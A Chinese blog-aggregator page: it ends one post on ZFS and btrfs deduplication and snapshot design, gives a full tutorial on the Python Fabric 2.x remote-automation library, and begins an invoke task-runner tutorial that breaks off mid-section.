ZFS 是在 Sun/OpenSolaris 壽命相當晚期的 2009 年獲得的 dedup 功能,就在 Oracle 收購 Sun ,OpenSolaris 分裂出 Illumos 從而 ZFS 分裂出 Oracle ZFS 和 OpenZFS 的時間點之前。因此 關於 ZFS dedup 如何實現的文檔相對匱乏 ,大部分介紹 ZFS 的文檔或者教程會講到 ZFS dedup 的用法,但是對 dedup 的實現細節、性能影響、乃至使用場景之類的話題就很少提了(甚至很多教程講了一堆用法之後說類似, 「我評估之後覺得我不需要開 dedup ,你可以自己評估一下」這樣的建議)。

OpenZFS Summit 2017 上 Matt 有個演講,主要內容關於今後如何改進 dedup 性能的計劃,其中講到的計劃還沒有被具體實現,不過可以窺探一下 dedup 現在在 ZFS 中是如何工作的。 Chris 的博客也有兩篇文章《 What I can see about how ZFS deduplication seems to work on disk 》和《 An important addition to how ZFS deduplication works on the disk 》介紹了他對此的認識,在這裏我也嘗試來總結一下 ZFS dedup 特性如何工作。

ZFS dedup 是存儲池級別(pool-wide)開關的特性,所以大概在 MOS 之類的地方有存儲一個特殊的數據結構, 叫 DeDup Table 簡稱 DDT 。DDT 目前是存儲設備上的一個 hash table ,因爲是存儲池級別的元數據, 所以在 ZFS 中存儲了三份完全一樣的 DDT ,DDT 的內容是大概如下結構:

Checksum DVA(Data Virtual Address) Refcount
0x12345678 vdev=1 addr=0x45671234 3
0x5678efab vdev=2 addr=0x37165adb 0
0x98765432 vdev=1 addr=0xac71be12 1
0xabcd1234 vdev=0 addr=0xc1a2231d 5
... ... ... ... ... ...

DDT 中對每個數據塊存有3個東西:數據塊的 checksum 、DVA (就是 ZFS 的塊指針 中的 DVA)和引用計數。在存儲池開啓 dedup 特性之後,每次新寫入一個數據塊,都會先計算出數據塊的 checksum ,然後查找 DDT ,存在的話增加 DDT 條目的引用計數,不存在的話插入 DDT 條目。每次釋放一個數據塊,同樣需要查找 DDT 調整引用計數。

除了 DDT 之外,文件系統中記錄的塊指針中也有個特殊標誌位記錄這個塊是否經過了 DDT 。讀取數據不需要經過 DDT ,但是子卷、克隆或者文件系統正常刪除數據塊的時候, 需要根據塊指針中的標誌位判斷是否需要檢查和調整 DDT 。

從而關於 dedup 的實現可以得知以下一些特點:

  • 開啓 dedup 之後,每個寫入操作放大成 3+1 個隨機位置的寫入操作,每個刪除操作變成 1 個寫入操作。沒有 dedup 時刪除塊並不需要立刻寫入,只需要記錄在內存中並在 MOS 提交的時候調整磁盤佔用情況即可。
  • 只有開啓 dedup 期間寫入的數據塊纔會參與 dedup 。對已經有數據的存儲池,後來開啓的 dedup 不會影響已經寫好的數據,從而即使後來新的寫入與之前的寫入有重複也得不到 dedup 效果。 DDT 中沒有記錄的數據塊不會參與 dedup 。換句話說 DDT 中那些引用計數爲 1 的記錄也是必須存在的,否則這些數據塊沒有機會參與 dedup 。
  • 關閉 dedup 之後,只要 DDT 中還存有數據,那麼對這些數據的刪除操作仍然有性能影響。

從直覺上可以這樣理解:在 ZFS 中每個數據塊都有其「歸屬」,沒有 dedup 的時候,數據塊歸屬於某個數據集(文件系統、快照、克隆), 該數據集需要負責釋放該數據塊或者把從屬信息轉移到別的數據集(快照)上。 而在開啓 dedup 期間,產生的寫入的數據塊實際歸屬於 DDT 而不是任何一個數據集,數據集需要查詢和調整 DDT 中記錄的引用計數來決定是否能釋放數據塊。

乍看起來 DDT 貌似挺像 btrfs 的 EXTENT_TREE ,但是本質上 EXTENT_TREE 是根據區塊地址排序的, 而 DDT 因爲是個 hashtable 所以是根據 checksum 排序的。並且 EXTENT_TREE 中記錄的區塊可以是任意大小,而 DDT 中記錄的數據塊是固定大小的,所以碎片不嚴重的情況下 DDT 要比 EXTENT_TREE 多記錄很多數據塊。這些區別都非常影響操作 DDT 時的性能。

DDT 本身是個 DMU 對象,所以對 DDT 的讀寫也是經過 DMU 的 CoW 讀寫,從而也經過 ARC 的緩存。想要有比較合理的 dedup 性能,需要整個 DDT 都儘量保持在內存 ARC 或者 L2ARC 緩存中, 於是 dedup 特性也有了非常佔用內存的特點。每個 DDT 表項需要大概 192 字節來描述一個( 默認 128KiB 大小的)數據塊,由此可以估算一下平均每 2TiB 的數據需要 3GiB 的內存來支持 dedup 的功能。

Matt 的視頻中後面講到優化 ZFS dedup 的一些思路,大體上未來 ZFS 可以做這些優化:

  1. DDT 在內存中仍然是 hashtable ,在存儲介質上則換成類似 ZIL 的日誌結構,讓 DDT 儘量保持在內存中,並且繞過 DMU 減少寫入放大。
  2. 給 DDT 表項瘦身,從192字節縮減到接近64字節。
  3. 當遇到內存壓力時,從 DDT 中隨機剔除掉引用計數爲 1 的表項。被剔除的表項沒有了未來參與 dedup 的可能性,但是能減輕內存壓力。剔除引用計數爲 1 的表項仍然可以維持數據塊的歸屬信息( 處理上當作是沒有 dedup 的形式),但是引用計數更高的表項沒法剔除。

這些優化策略目的是想讓 dedup 的性能損失能讓更多使用場景接受。不過因爲缺乏開發者意願, 目前這些策略還只是計劃,沒有實現在 ZFS 的代碼中。

因爲以上特點, ZFS 目前 dedup 特性的適用場景極爲有限,只有在 IO 帶寬、內存大小都非常充裕, 並且可以預見到很多重複的數據的時候適合。聽說過的 ZFS dedup 的成功案例是,比如提供虛擬機服務的服務商,在宿主文件系統上用 ZFS 的 zvol 寄宿虛擬機的磁盤鏡像,客戶在虛擬機內使用其它文件系統。大部分客戶可能用類似版本的操作系統, 從而宿主機整體來看有很多 dedup 的潛質。不過這種應用場景下,服務商很可能偏向選擇 CephFS 這樣的分佈式文件系統提供虛擬機鏡像存儲,而不是 ZFS 這樣侷限在單系統上的本地文件系統。

4.2   btrfs 的 dedup

btrfs 目前沒有內建的 dedup 支持,但是因爲有 reflink 所以可以通過第三方工具在事後掃描文件塊來實現 dedup 。這一點乍看像是某種將就之策,實際上瞭解了 ZFS dedup 的實現之後可以看出這個狀況其實更靈活。

在 btrfs 中實現 in-band dedup 本身不算很複雜,增加一個內存中的 bloom filter 然後按情況插入 reflink 的正常思路就夠了。在 btrfs kernel wiki 中有篇筆記 提到已經有了實驗性的 in-band dedup 內核支持的實現。這個實現已經越來越成熟,雖然還有諸多使用限制, 不過實現正確性上問題不大,遲遲沒有辦法合併進主線內核的原因更多是性能上的問題。

如果 btrfs 有了 in-band dedup 這樣系統性的 dedup 方案,那麼不可避免地會增加文件系統中使用 reflink 的數量。這將會暴露出 backref walking 這樣的基礎設施中許多潛在的邊角情況下的性能瓶頸。 前面解釋過 backref walking 操作是個挺大開銷的操作,並且開銷隨着快照和 reflink 的使用而爆炸式增長。直到最近的 btrfs 更新仍然在試圖優化和改善現有 backref walking 的性能問題,可以預測 btrfs 的內建 dedup 支持將需要等待這方面更加成熟。

5   結論和展望

不知不覺圍繞 btrfs 和 zfs 的快照功能寫了一大篇,前前後後寫了一個半月, 文中提及的很多細節我自己也沒有自信,如果有錯誤還請指出。

稍微列舉一些我覺得比較重要的結論,算是 TL;DR 的 takeaway notes 吧:

  • ZFS 的快照非常輕量。完全可以像 NILFS2 的連續快照那樣,每小時一個快照,每天24小時,每年 365天不間斷地創建快照,實際似乎也有公司是這樣用的。如此頻繁的快照不同於 NILFS2 等文件系統提供的連續快照,但是也沒有那些日誌結構文件系統實現連續快照所需承擔的巨大 GC 開銷。 並且 ZFS 可以沒有額外開銷地算出快照等數據集的空間佔用之類的信息。
  • btrfs 的快照相對也很輕量,比 LVM 和 dm-thin 的快照輕便很多,但是不如 ZFS 的快照輕,因爲 btrfs 有維護反向引用的開銷。 btrfs 要得知子卷的空間佔用情況需要開啓 qgroup 特性,這會對一些需要 backref walking 的操作有一些額外性能損失。
  • btrfs 對快照和 reflink 沒有限制,日常桌面系統下使用也不太會遇到性能問題。 不過系統性地(自動化地)大量使用快照和 reflink ,在一些操作下可能會有性能問題,值得注意。
  • 因爲沒有 reflink , ZFS 的數據集劃分需要一些前期計劃。 ZFS 中共享元數據的方式只有快照, 所以要儘量多細分文件系統,方便以後能利用到快照特性,劃分的粒度大致按照可能要回滾快照的粒度來。 btrfs 有 reflink ,於是這裏有很多自由度,即便前期計劃不夠詳細也可以通過 reflink 相對快速調整子卷結構。
  • dedup 在 zfs 和 btrfs 都是個喜憂參半的特性,開啓前要仔細評估可能的性能損失。ZFS dedup 的成功案例是,比如虛擬機服務的服務商,在宿主文件系統上用 ZFS 寄宿虛擬機的磁盤鏡像,客戶在虛擬機可能用類似版本的操作系統,從而宿主機整體來看有很多 dedup 的潛質。一般桌面場景下 dedup 的收益不明顯,反而有巨大內存和IO帶寬開銷。
  • 相比 btrfs ,ZFS 更嚴格地遵守 CoW 文件系統「僅寫一次」的特點,甚至就算遇到了數據塊損壞, 修復數據塊的時候也只能在原位寫入。 btrfs 因爲有反向引用所以在這方面靈活很多。
  • ZFS 不支持對單個文件關閉 CoW ,所有文件(以及所有 zvol)都經過 DMU 層有 CoW 語義,這對一些應用場景有性能影響。btrfs 可以對單個文件關閉 CoW ,但是關閉 CoW 同時也丟失了寫文件的事務性語義。
  • ZFS 不支持碎片整理,靠 ARC 加大緩存來解決碎片帶來的性能問題。 btrfs 有 defrag ,但是目前的實現會切斷 reflink 。

最後關於 ZFS 沒有 reflink 也沒有反向引用的情況,想引用幾段話。

FreeBSD 的發起人之一,FreeBSD 的 FFS 維護者, Kirk McKusick 曾經在 OpenZFS developer summit 2015 這麼說過:

I decided I'd add a wish list since I have a whole bunch of people here that could actually possibly consider doing this. Both competitors of ZFS, which are basically WAFL and BTRFS, kind of maintained back pointers. And back pointers allow a lot of things like disk migration, you can go through and tune up file layout, if you're working with direct-mapped flash it allows you to do that effectively. This has been a long -- and I understand big debate with the ZFS people and I'm not going to try and talk about that -- but there's a very nice paper that I've cited here, "Tracking Back References in a Write Anywhere File System", that is it integrates keeping track of the back pointers in a way that would work very well with ZFS. And so the cost is low, the cost of actually using it is a little higher, but it's not unreasonable. So there's the reference to that paper and if any of you are contemplating that you should read the paper because if nothing else it's a great paper.

Kirk McKusick 呼籲 ZFS 開發者們考慮在 ZFS 中實現類似 backref 的基礎設施,從而可能在未來獲得更多有用的特性。

和 ZFS 實現 backref 相關的一點是目前 ZFS 的塊指針的組織結構。對此 ZFS 的 ZPL 層原作者之一的 Mark Shellenbaum 在 OpenZFS developer summit 2016 也曾說過這樣的話:

(Q: Are there any things that we that we have regretted we did?) A: I guess not so much on the ZPL, but with the way block pointers maybe weren't fully virtualized, you know that things like that.

以及 ZFS 的最初的作者 Jeff 在 OpenZFS developer summit 2015 也曾說過:

... and then certainly one thing i'd always wish we had done but there really were always implementation difficulties was true virtual block addressing. Because it would made dedup simpler, or would have made you know compression of data, defragging, all that kind of stuff simpler. That would have been really nice to have. But we never did the way that was sort of tracable in terms of both the cost and the transactional semantics.

ZFS 這些開發者元老們都希望 ZFS 能有某種類似 backref 的機制,或者讓塊指針記錄的地址更抽象的機制。

關於這一點,ZFS 最重要的作者 Matt 如何看的呢? Matt 近期似乎沒有發表過看法,但是熟悉 ZFS 的人可能聽到過 Matt 一直在計劃的另一項 ZFS 特性中看出些端倪,叫 BP rewrite ,或者 BP virtualization 。從 Matt 還在 Sun 的時候開始,就試圖在 ZFS 中實現 BP rewrite 特性,提供某種系統性的基礎設施,能夠快速地找到並改寫大量數據塊指針。 在網上搜索很多 ZFS 功能的實現細節,最終都會帶到關於 BP rewrite 的討論(甚至可以說論戰)中。 Matt 最近給 OpenZFS 實現的兩項功能, toplevel vdev removal 和 raidz expansion 如果有 BP rewrite 將會容易很多,而他們目前是在沒有 BP rewrite 的前提下,通過一連串額外抽象實現的。

從 BP rewrite 這個兔子洞中,還能引出更多 btrfs 和 ZFS 關於設備管理的差異,這個有待今後再談。

by farseerfc at February 19, 2020 06:45 AM

February 18, 2020

pythoncat

如何高效地远程部署?自动化运维利器 Fabric 教程

关于 Python 自动化的话题,在上一篇文章中,我介绍了 Invoke 库,它是 Fabric 的最重要组件之一。Fabric 也是一个被广泛应用的自动化工具库,是不得不提的自动化运维利器,所以,本文将来介绍一下它。
Fabric 主要用在应用部署与系统管理等任务的自动化,简单轻量级,提供有丰富的 SSH 扩展接口。在 Fabric 1.x 版本中,它混杂了本地及远程两类功能;但自 Fabric 2.x 版本起,它分离出了独立的 Invoke 库,来处理本地的自动化任务,而 Fabric 则聚焦于远程与网络层面的任务。
为了做到这点,Fabric 主要依赖另一大核心组件 Paramiko,它是基于 SSH 协议的远程控制模块,Fabric 在其基础上封装出了更加友好的接口,可以远程执行 Shell 命令、传输文件、批量操作服务器、身份认证、多种配置与设置代理,等等。

一、Fabric 的版本区分

Python 2 版本已经被官宣在今年元旦“退休”了,未来只会是 Python 3 的舞台。为了适应 Python 版本的非兼容性迁移,很多项目也必须推出自己的新版本(兼容或只支持 Python 3),其中就包括本文的主角 Fabric。
Fabric 自身存在着 2 个大版本:Fabric 1 和 Fabric 2,而在这个库的基础上,还有两个很容易混淆的相关库:Fabric2 和 Fabric3(注意这里的数字是库名的一部分)。
它们的区分如下:
  • Fabric 1.x:支持 Python 2.5-2.7,但不支持 Python 3
  • Fabric 2.x:支持 Python 2.7 与 3.4+,但不兼容 Fabric 1.x 的 fabfile
  • Fabric2:等同于 Fabric 2.x,为了使不同版本共存(装一个 1.x 旧版本,再装它作为新版本)
  • Fabric3:一个基于 Fabric 1.x 的 fork(非官方),兼容 Python 2&3,兼容 Fabric1.x 的 fabfile
综上可见,我们推荐使用官方的 Fabric 2.x 系列版本,但同时要注意,某些过时的教程可能是基于早期版本的(或非官方的 Fabric3,也是基于 Fabric 1.x),需要注意识别。
例如,在 Fabric 1.x 系列中这么写导入:from fabric.api import run;在新版本中将报错:“ImportError: No module named api”(PS:可根据是否有 fabric.api 来判断 Fabric 的版本,就像在 Python 中根据 print 语句或 print 函数来判断版本一样)。同时,由于新版本不支持老版本的 fabfile,在使用时就可能报错:“No idea what ‘xxx’ is!”
Fabric 2 是非兼容性版本,相比于前个版本,它主要改进的点有:
  • 支持 Python 2.7 与 3.4+
  • 线程安全,取消了多进程的并发实现
  • API 围绕 fabric.connection.Connection 进行了重组
  • 全面修改了命令行解析器,允许在每个任务的基础上使用规则的 GNU/POSIX 风格的标志和选项(不再需要 fab mytask:weird = custom,arg = format)
  • 可以声明前置任务与后置任务
  • ……(官方列了10几条 [1],本文不一一罗列)
之前介绍过的 invoke,就是在开发 Fabric 2 时被分离出来的,具体的原因可参见这个回答 [2]。总而言之,在使用 Fabric 时,应该注意版本差异的问题。

二、Fabric 的基本用法

1、安装

首先是安装:pip intall fabric ,安装后,可在命令行窗口查看版本信息:
>>> fab -V
Fabric 2.5.0
Paramiko 2.7.1
Invoke 1.4.0
执行“fab -V”,以上结果可看出我安装的是 Fabric 2.5.0 版本,同时可看到它的两个核心依赖库 Paramiko 及 Invoke 的版本信息。

2、一个简单的例子

Fabric 主要用于远程任务,即要对远程服务器进行操作,下面是一个简单的例子:
# 可使用任意的文件名
from fabric import Connection

host_ip = '47.xx.xx.xx'  # 服务器地址
user_name = 'root' # 服务器用户名
password = '****'  # 服务器密码
cmd = 'date'  # shell 命令,查询服务器上的时间

con = Connection(host_ip, user_name, connect_kwargs={'password': password})
result = con.run(cmd, hide=True)

print(result)
以上代码,通过账号+密码登录到远程服务器,然后执行date命令,查看服务器的时间,执行结果:
Command exited with status 0.
=== stdout ===
Fri Feb 14 15:33:05 CST 2020

(no stderr)
现在打印的结果中,除了服务器时间,还有一些无关的信息。这是因为它打印的“result”是一个”fabric.runners.Result”类,我们可以把其中的信息解析出来:
print(result.stdout)  # Fri Feb 14 15:33:05 CST 2020
print(result.exited)  # 0
print(result.ok)      # True
print(result.failed)  # False
print(result.command) # date
print(result.connection.host) # 47.xx.xx.xx
上述代码使用了 Connection 类及其 run() 方法,可在连接的服务器上运行 shell 命令。如果需要用管理员权限,则需替换成 sudo() 方法。如果要在本地执行 shell 命令,则需替换成 local() 方法。
除此之外,还有 get()、put() 等方法,详见下文介绍。

3、命令行用法

上例代码可写在任意的 .py 脚本中,然后运行该脚本,或者稍微封装下再导入到其它脚本中使用。
另外,Fabric 还是个命令行工具,可以通过fab命令来执行任务。我们稍微改造一下上例的代码:
# 文件名:fabfile.py
from fabric import Connection
from fabric import task

host_ip = '47.xx.xx.xx'  # 服务器地址
user_name = 'root' # 服务器用户名
password = '****'  # 服务器密码
cmd = 'date'  # shell 命令,查询服务器上的时间

@task
def test(c):
    """
    Get date from remote host.
    """
    con = Connection(host_ip, user_name, connect_kwargs={'password': password})
    result = con.run(cmd, hide=True)
    print(result.stdout)  # 只打印时间
解释一下,主要的改动点有:
  • fabfile.py 文件名:入口代码的脚本名必须用这个名字
  • @task 装饰器:需要从 fabric 中引入这个装饰器,它是对 invoke 的 @task 装饰器的封装,实际用法跟 invoke 一样(注意:它也需要有上下文参数“c”,但实际上它并没有在代码块中使用,而是用了 Connection 类的实例)
然后,在该脚本同级目录的命令行窗口中,可以查看和执行相应的任务:
>>> fab -l
Available tasks:
  test   Get date from remote host.

>>> fab test
Fri Feb 14 16:10:24 CST 2020
fab 是 Invoke 的扩展实现,继承了很多原有功能,所以执行“fab —help”,与之前介绍的“inv —help”相比,你会发现它们的很多参数与解释都是一模一样的。
fab 针对远程服务的场景,添加了几个命令行选项(已标蓝),其中:
  • —prompt-for-login-password:令程序在命令行中输入 SSH 登录密码(上例在代码中指定了 connect_kwargs.password 参数,若用此选项,可要求在执行时再手工输入密码)
  • —prompt-for-passphrase:令程序在命令行中输入 SSH 私钥加密文件的路径
  • -H 或 —hosts:指定要连接的 host 名
  • -i 或 —identity:指定 SSH 连接所用的私钥文件
  • -S 或 —ssh-config:指定运行时要加载的 SSH 配置文件
关于 Fabric 的命令行接口,更多内容可查看文档 [3]。

4、交互式操作

远程服务器上若有交互式提示,要求输入密码或“yes”之类的信息,这就要求 Fabric 能够监听并作出回应。
以下是一个简单示例。引入 invoke 的 Responder,初始化内容是一个正则字符串和回应信息,最后赋值给 watchers 参数:
from invoke import Responder
from fabric import Connection
c = Connection('host')
sudopass = Responder(
     pattern=r'\[sudo\] password:',
     response='mypassword\n')
c.run('sudo whoami', pty=True, watchers=[sudopass])

5、传输文件

本地与服务器间的文件传输是常见用法。Fabric 在这方面做了很好的封装,Connection 类中有以下两个方法可用:
  • get(*args, **kwargs):拉取远端文件到本地文件系统或类文件(file-like)对象
  • put(*args, **kwargs):推送本地文件或类文件对象到远端文件系统
在已建立连接的情况下,示例:
# (略)
con.get('/opt/123.txt', '123.txt')
con.put('test.txt', '/opt/test.txt')
第一个参数指的是要传输的源文件,第二个参数是要传输的目的地,可以指定成文件名或者文件夹(为空或 None 时,使用默认路径):
# (略)
con.get('/opt/123.txt', '')  # 为空时,使用默认路径
con.put('test.txt', '/opt/') # 指定路径 /opt/
get() 方法的默认存储路径是os.getcwd ,而 put() 方法的默认存储路径是 home 目录。

6、服务器批量操作

对于服务器集群的批量操作,最简单的实现方法是用 for 循环,然后逐一建立 connection 和执行操作,类似这样:
for host in ('web1', 'web2', 'mac1'):
	result = Connection(host).run('uname -s')
但有时候,这样的方案会存在问题:
  • 如果存在多组不同的服务器集群,需要执行不同操作,那么需要写很多 for 循环
  • 如果想把每组操作的结果聚合起来(例如字典形式,key-主机,value-结果),还得在 for 循环之外添加额外的操作
  • for 循环是顺序同步执行的,效率太低,而且缺乏异常处理机制(若中间出现异常,会导致跳出后续操作)
对于这些问题,Fabric 提出了 Group 的概念,可将一组主机定义成一个 Group,它的 API 方法跟 Connection 一样,即一个 Group 可简化地视为一个 Connection。
然后,开发者只需要简单地操作这个 Group,最后得到一个结果集即可,减少了自己在异常处理及执行顺序上的工作。
Fabric 提供了一个 fabric.group.Group 基类,并由其派生出两个子类,区别是:
  • SerialGroup(*hosts, **kwargs):按串行方式执行操作
  • ThreadingGroup(*hosts, **kwargs):按并发方式执行操作
Group 的类型决定了主机集群的操作方式,我们只需要做出选择即可。然后,它们的执行结果是一个fabric.group.GroupResult类,它是 dict 的子类,存储了每个主机 connection 及其执行结果的对应关系。
>>> from fabric import SerialGroup
>>> results = SerialGroup('web1', 'web2', 'mac1').run('uname -s')
>>> print(results)
<GroupResult: {
    <Connection 'web1'>: <CommandResult 'uname -s'>,
    <Connection 'web2'>: <CommandResult 'uname -s'>,
    <Connection 'mac1'>: <CommandResult 'uname -s'>,
}>
另外,GroupResult 还提供了 failed 与 succeeded 两个属性,可以取出失败/成功的子集。由此,也可以方便地批量进行二次操作。 原文

三、Fabric 的进阶用法

1、身份认证

Fabric 使用 SSH 协议来建立远程会话,它是一种相对安全的基于应用层的加密传输协议。
基本来说,它有两种级别的安全认证方式:
  • 基于口令的身份认证:使用账号与密码来登录远程主机,安全性较低,容易受到“中间人”攻击
  • 基于密钥的身份认证:使用密钥对方式(公钥放服务端,私钥放客户端),不会受到“中间人”攻击,但登录耗时较长
前文在举例时,我们用了第一种方式,即通过指定 connect_kwargs.password 参数,使用口令来登录。
Fabric 当然也支持采用第二种方式,有三种方法来指定私钥文件的路径,优先级如下:
  • 优先查找 connect_kwargs.key_filename 参数,找到则用作私钥
  • 其次查找命令行用法的 —identify 选项
  • 最后默认使用操作系统的 ssh_config 文件中的IdentityFile 的值
如果私钥文件本身还被加密过,则需要使用 connect_kwargs.passphrase 参数。

2、配置文件

Fabric 支持把一些参数项与业务代码分离,即通过配置文件来管理它们,例如前面提到的密码和私钥文件,可写在配置文件中,避免与代码耦合。
Fabric 基本沿用了 Invoke 的配置文件体系(官方文档中列出了 9 层),同时增加了一些跟 SSH 相关的配置项。支持的文件格式有 .yaml、.yml、.json 与 .py(按此次序排优先级),推荐使用 yaml 格式(后缀可简写成 yml)。
其中,比较常用的配置文件有:
  • 系统级的配置文件:/etc/fabric.yml
  • 用户级的配置文件:~/.fabric.yml(Windows 在 C:\Users\xxx 下)
  • 项目级的配置文件:/myproject/fabric.yml
以上文件的优先级递减,由于我本机是 Windows,为了方便,我在用户目录建一个”.fabric.yml”文件,内容如下:
# filename:.fabric.yml

user: root
connect_kwargs:
  password: xxxx
# 若用密钥,则如下
#  key_filename:
#    - your_key_file
我们把用户名和密码抽离出来了,所以 fabfile 中就可以删掉这些内容:
# 文件名:fabfile.py
from fabric import Connection
from fabric import task

host_ip = '47.xx.xx.xx'  # 服务器地址
cmd = 'date'  # shell 命令,查询服务器上的时间

@task
def test(c):
    """
    Get date from remote host.
    """
    con = Connection(host_ip)
    result = con.run(cmd, hide=True)
    print(result.stdout) 
然后,在命令行中执行:
>>> fab test
Tue Feb 18 10:33:38 CST 2020
配置文件中还可以设置很多参数,详细可查看文档 [4]。

3、网络网关

如果远程服务是网络隔离的,无法直接被访问到(处在不同局域网),这时候需要有网关/代理/隧道,这个中间层的机器通常被称为跳板机或堡垒机。
Fabric 中有两种网关解决方案,对应到 OpenSSH 客户端的两种选项:
  • ProxyJump:简单,开销少,可嵌套
  • ProxyCommand:开销大,不可嵌套,更灵活
在创建 Fabric 的 Connection 对象时,可通过指定 gateway 参数来应用这两种方案:
ProxyJump 方式就是在一个 Connection 中嵌套一个 Connection 作为前者的网关,后者使用 SSH 协议的direct-tcpip 为前者打开与实际远程主机的连接,而且后者还可以继续嵌套使用自己的网关。
from fabric import Connection

c = Connection('internalhost', gateway=Connection('gatewayhost'))
ProxyCommand 方式是客户端在本地用 ssh 命令(类似“ssh -W %h:%p gatewayhost”),创建一个子进程,该子进程与服务端进行通信,同时它能读取标准输入和输出。
这部分的实现细节分别在paramiko.channel.Channelparamiko.proxy.ProxyCommand,除了在参数中指定,也可以在 Fabric 支持的配置文件中定义。更多细节,请查阅文档 [5]。

四、小结

Fabric 的非兼容版本造成了一定程度的社区分裂,这无疑跟 Python 3 的推行脱不开关系,但是我们有理由相信,新版本优胜于老版本。
网上关于 Fabric 的文章,很多已过时了。本文针对最新的官方文档,梳理出了较为全面的知识点,可以带大家很好地入门 Fabric。
读完本文,相信读者们只需要几分钟就能轻松上手使用。如若有所疑问,欢迎通过以下方式联系我。
--------------
公众号:Python猫
头条号:Python猫
知乎:豌豆花下猫
掘金:豌豆花下猫
--------------

相关链接:

February 18, 2020 12:00 AM

February 05, 2020

pythoncat

强大的 Python 任务自动化工具!invoke 十分钟入门指南

接着前面的《tox 教程》,以及刚翻译好的《nox文档》,我们继续聊聊 Python 任务自动化的话题。
nox 的作者在去年的 Pycon US 上,做了一场题为《Break the Cycle: Three excellent Python tools to automate repetitive tasks》的分享(B站观看地址:https://b23.tv/av86640235),她介绍了三个任务自动化工具:tox、nox 和 invoke,本文的话题正好就是最后的 invoke。

1、invoke 可以做什么?

invoke 是从著名的远程部署工具 Fabric 中分离出来的,它与 paramiko 一起是 Fabric 的两大最核心的基础组件。
除了作为命令行工具,它专注于“任务执行”(task execution),可以标注和组织任务,并通过 CLI(command-line interface,即命令行界面) 和 shell 命令来执行任务。
同样是任务自动化工具,invoke 与我们之前介绍过的 tox/nox 在侧重点上有所不同:
  • tox/nox 主要是在打包、测试、持续集成等方面的自动化(当然它们能做的还不止于此)
  • invoke 则更具普遍性,可以用在任何需要“执行任务”的场景,可以是无相关性的任务组,也可以是有顺序依赖的分步骤的工作流
invoke 在 Github 上有 2.7K star,十分受欢迎,接下来我们看看它如何使用?

2、怎么使用 invoke?

首先,安装很简单:pip install invoke
其次,简单使用时有以下要素:
  • 任务文件。创建一个 tasks.py 文件。
  • @task 装饰器。在一个函数上添加 @task 装饰器,即可将该函数标记为一个任务,接受 invoke 的调度管理。
  • 上下文参数。给被装饰的函数添加一个上下文参数(context argument),注意它必须作为第一个参数,而命名按约定可以是cctxcontext
  • 命令行执行。在命令行中执行invoke --list 来查看所有任务,运行invoke xxx 来执行名为 xxx 的任务。命令行中的“invoke”可以简写成“inv”。
以下是一个简单的示例:
# 文件名:tasks.py
from invoke import task

@task
def hello(c):
    print("Hello world!")

@task
def greet(c, name):
    c.run(f"echo {name}加油!")
在上述代码中,我们定义了两个任务:
  • ”hello“任务调用了 Python 内置的 print 函数,会打印一个字符串“Hello world!”
  • “greet”任务调用了上下文参数的 run() 方法,可以执行 shell 命令,同时本例中还可以接收一个参数。在 shell 命令中,echo 可理解成打印,所以这也是一个打印任务,会打印出“xxx加油!”(xxx 是我们传的参数)
以上代码写在 tasks.py 文件中,首先导入装饰器 from invoke import task,@task 装饰器可以不带参数,也可以带参数(参见下一节),被它装饰了的函数就是一个任务。
上下文参数(即上例的“c”)必须要显式地指明,如果缺少这个参数,执行时会抛出异常:“TypeError: Tasks must have an initial Context argument!”
然后在 tasks.py 文件的同级目录中,打开命令行窗口,执行命令。如果执行的位置找不到这个任务文件,则会报错:“Can’t find any collection named ‘tasks’!”
正常情况下,通过执行inv --list 或者inv -l ,可以看到所有任务的列表(按字母表顺序排序):
>>> inv -l
Available tasks:

  greet
  hello
我们依次执行这两个任务,其中传参时可以默认按位置参数传参,也可以指定关键字传参。结果是:
>>> inv hello
Hello world!
>>> inv greet 武汉
武汉加油!
>>> inv greet --name="武汉"
武汉加油!
缺少传参时,报错:‘greet’ did not receive required positional arguments: ‘name’;多余传参时,报错:No idea what ’???’ is!

3、 如何用好 invoke?

介绍完 invoke 的简单用法,我们知道了它所需的几项要素,也大致知道了它的使用步骤,接下来是它的其它用法。

3.1 添加帮助信息

在上例中,“inv -l”只能看到任务名称,缺少必要的辅助信息,为了加强可读性,我们可以这样写:
@task(help={'name': 'A param for test'})
def greet(c, name):
    """
    A test for shell command.
    Second line.
    """
    c.run(f"echo {name}加油!")
其中,文档字符串的第一行内容会作为摘录,在“inv -l”的查询结果中展示,而且完整的内容与 @task 的 help 内容,会对应在“inv —help”中展示:
>>> inv -l
Available tasks:

  greet   A test for shell command.
>>> inv --help greet
Usage: inv[oke] [--core-opts] greet [--options] [other tasks here ...]

Docstring:
  A test for shell command.
  Second line.

Options:
  -n STRING, --name=STRING   A param for test

3.2 任务的分解与组合

通常一个大任务可以被分解成一组小任务,反过来,一系列的小任务也可能被串连成一个大任务。在对任务作分解、抽象与组合时,这里有两种思路:
  • 对内分解,对外统一:只定义一个 @task 的任务,作为总体的任务入口,实际的处理逻辑可以抽象成多个方法,但是外部不感知到它们
  • 多点呈现,单点汇总:定义多个 @task 的任务,外部可以感知并分别调用它们,同时将有关联的任务组合起来,调用某个任务时,也执行其它相关联的任务
第一种思路很容易理解,实现与使用都很简单,但是其缺点是缺少灵活性,难于单独执行其中的某个/些子任务。适用于相对独立的单个任务,通常也不需要 invoke 就能做到(使用 invoke 的好处是,拥有命令行的支持)。
第二种思路更加灵活,既方便单一任务的执行,也方便多任务的组合执行。实际上,这种场景才是 invoke 发挥最大价值的场景。
那么,invoke 如何实现分步任务的组合呢?可以在 @task 装饰器的“pre”与“post”参数中指定,分别表示前置任务与后置任务:
@task
def clean(c):
    c.run("echo clean")

@task
def message(c):
    c.run("echo message")

@task(pre=[clean], post=[message])
def build(c):
    c.run("echo build")
clean 与 message 任务作为子任务,可以单独调用,也可以作为 build 任务的前置与后置任务而组合使用:
>>> inv clean
clean
>>> inv message
message
>>> inv build
clean
build
message
这两个参数是列表类型,即可设置多个任务。另外,在默认情况下,@task 装饰器的位置参数会被视为前置任务,接着上述代码,我们写一个:
@task(clean, message)
def test(c):
    c.run("echo test")
然后执行,会发现两个参数都被视为了前置任务:
>>> inv test
clean
message
test

3.3 模块的拆分与整合

如果要管理很多相对独立的大型任务,或者需要多个团队分别维护各自的任务,那么,就有必要对 tasks.py 作拆分与整合。
例如,现在有多份 tasks.py,彼此是相对完整而独立的任务模块,不方便把所有内容都放在一个文件中,那么,如何有效地把它们整合起来管理呢?
invoke 提供了这方面的支持。首先,只能保留一份名为“tasks.py”的文件,其次,在该文件中导入其它改名后的任务文件,最后,使用 invoke 的 Collection 类把它们关联起来。
